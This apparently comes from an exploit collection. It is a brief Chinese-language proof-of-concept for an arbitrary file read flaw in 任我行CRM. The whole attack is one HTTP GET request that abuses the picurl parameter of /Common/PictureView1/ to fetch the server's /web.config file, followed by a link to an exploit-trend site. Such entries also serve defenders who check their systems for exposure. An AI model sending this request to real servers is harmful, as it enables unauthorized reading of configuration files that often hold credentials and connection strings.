任我行CRM picurl 参数存在任意文件读取漏洞

GET /Common/PictureView1/?picurl=/web.config HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.